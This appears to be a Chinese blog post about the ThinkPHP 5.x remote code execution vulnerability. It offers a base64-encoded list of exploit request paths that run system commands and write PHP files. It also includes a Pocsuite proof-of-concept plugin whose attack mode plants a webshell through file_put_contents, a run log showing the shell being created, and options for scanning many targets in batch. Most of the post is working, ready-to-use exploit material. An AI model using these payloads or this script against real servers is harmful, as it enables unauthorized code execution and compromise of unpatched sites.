0x00 漏洞背景
近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075,其中修复了一处getshell漏洞。
- 影响范围:5.x < 5.1.31, <= 5.0.23
- 危害:远程代码执行
0x01 Exploit
base64decode => :
Lz9zPWluZGV4L1x0aGlua1xSZXF1ZXN0L2lucHV0JmZpbHRlcj1waHBpbmZvJmRhdGE9MQoKLz9zPWluZGV4L1x0aGlua1xSZXF1ZXN0L2lucHV0JmZpbHRlcj1zeXN0ZW0mZGF0YT1pZAoKLz9zPWluZGV4L1x0aGlua1x0ZW1wbGF0ZVxkcml2ZXJcZmlsZS93cml0ZSZjYWNoZUZpbGU9c2hlbGwucGhwJmNvbnRlbnQ9JTNDP3BocCUyMHBocGluZm8oKTs/JTNFCgovP3M9aW5kZXgvXHRoaW5rXHZpZXdcZHJpdmVyXFBocC9kaXNwbGF5JmNvbnRlbnQ9JTNDP3BocCUyMHBocGluZm8oKTs/JTNFCgovP3M9aW5kZXgvXHRoaW5rXGFwcC9pbnZva2VmdW5jdGlvbiZmdW5jdGlvbj1jYWxsX3VzZXJfZnVuY19hcnJheSZ2YXJzWzBdPXBocGluZm8mdmFyc1sxXVtdPTEKCi8/cz1pbmRleC9cdGhpbmtcYXBwL2ludm9rZWZ1bmN0aW9uJmZ1bmN0aW9uPWNhbGxfdXNlcl9mdW5jX2FycmF5JnZhcnNbMF09c3lzdGVtJnZhcnNbMV1bXT1pZAoKLz9zPWluZGV4L1x0aGlua1xDb250YWluZXIvaW52b2tlZnVuY3Rpb24mZnVuY3Rpb249Y2FsbF91c2VyX2Z1bmNfYXJyYXkmdmFyc1swXT1waHBpbmZvJnZhcnNbMV1bXT0xCgovP3M9aW5kZXgvXHRoaW5rXENvbnRhaW5lci9pbnZva2VmdW5jdGlvbiZmdW5jdGlvbj1jYWxsX3VzZXJfZnVuY19hcnJheSZ2YXJzWzBdPXN5c3RlbSZ2YXJzWzFdW109aWQ=
0x02 POC验证脚本-Pocsuite
Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,保障了我们的 Web 安全研究能力的领先。
你可以直接使用 Pocsuite 进行漏洞的验证与利用;你也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,你还可以在你的漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。
– pocsuite.org
我Fork了一份,自己添加了一个插件:
git clone https://github.com/Cooolis/Pocsuite.git
python pocsuite.py --url http://127.0.0.1:8080/ --verify -r modules/thinkphpv5_rce.py # 验证漏洞
python pocsuite.py --url http://127.0.0.1:8080/ --attack -r modules/thinkphpv5_rce.py # 获取webshell
rvn0xsy@Rvn0xsy ~/G/Pocsuite> python pocsuite.py --url http://127.0.0.1:8080/ --attack -r modules/thinkphpv5_rce.py
,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-' '-.,---. {2.0.8-df54a3d}
| .-. | .-. | .--( .-'| || ,--'-. .-| .-. :
| '-' ' '-' \ `--.-' `' '' | | | | \ --.
| |-' `---' `---`----' `----'`--' `--' `----'
`--' http://pocsuite.org
[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.
[*] starting at 21:04:22
[21:04:22] [*] checking Thinkphp 5.x < 5.1.31, <= 5.0.23 远程代码执行
[21:04:22] [*] poc:'Thinkphp 5.x < 5.1.31, <= 5.0.23 远程代码执行' target:'http://127.0.0.1:8080/'
[21:04:22] [+] webshell : http://127.0.0.1:8080/424.php
+------------------------+----------------+--------+-----------+-------------------------+---------+
| target-url | poc-name | poc-id | component | version | status |
+------------------------+----------------+--------+-----------+-------------------------+---------+
| http://127.0.0.1:8080/ | thinkphpv5_rce | 1024 | Thinkphp | 5.x < 5.1.31, <= 5.0.23 | success |
+------------------------+----------------+--------+-----------+-------------------------+---------+
success : 1 / 1
[*] shutting down at 21:04:22
可批量验证:
...
usage: pocsuite [options]
optional arguments:
-h, --help Show help message and exit
--version Show program's version number and exit
--update Update Pocsuite
target:
-u URL, --url URL Target URL (e.g. "http://www.targetsite.com/")
-f URLFILE, --file URLFILE
Scan multiple targets given in a textual file
-r POCFILE Load POC from a file (e.g. "_0001_cms_sql_inj.py") or directory (e.g. "modules/")
mode:
--verify Run poc with verify mode
--attack Run poc with attack mode
...
0x03 POC代码
https://github.com/Cooolis/Pocsuite/blob/dev/modules/thinkphpv5_rce.py
#!/usr/bin/env python
# coding: utf-8
import urllib
import random
import string
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
from collections import OrderedDict
class ThinkPHP(POCBase):
vulID = '1024'
version = '1'
author = '倾旋 [email protected]'
vulDate = '2018-12-10'
createDate = '2018-12-11'
updateDate = '2018-12-11'
references = ['https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ']
name = 'Thinkphp 5.x < 5.1.31, <= 5.0.23 远程代码执行'
appPowerLink = 'https://www.thinkphp.cn/'
appName = 'Thinkphp'
appVersion = '5.x < 5.1.31, <= 5.0.23'
vulType = 'Remote code Execute'
desc = '近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075,其中修复了一处getshell漏洞。'
samples = []
def _attack(self):
result = {}
shell_name = str(int(random.random() * 1000))+'.php'
shell_code = '<?php phpinfo();?>'
proxies = {
"http": "http://127.0.0.1:8081"
}
vul_url = '%s/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=%s&vars[1][]=%s' % (self.url,shell_name,shell_code)
if not self._verify(verify=False):
return self.parse_attack(result)
response = req.post(vul_url,proxies=proxies)
if response.status_code == 200 and str(len(shell_code)) in response.content:
result['webshell'] = self.url+shell_name
return self.parse_attack(result)
def _verify(self,verify=True):
result = {}
proxies = {
"http":"http://127.0.0.1:8081"
}
vul_url = '%s/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=header&vars[1][]=vuln:1' % self.url
response = req.get(vul_url,proxies=proxies).headers
if 'vuln' in response:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("No ... ")
return output
register(ThinkPHP)
关于POC的使用,可参考pocsuite.org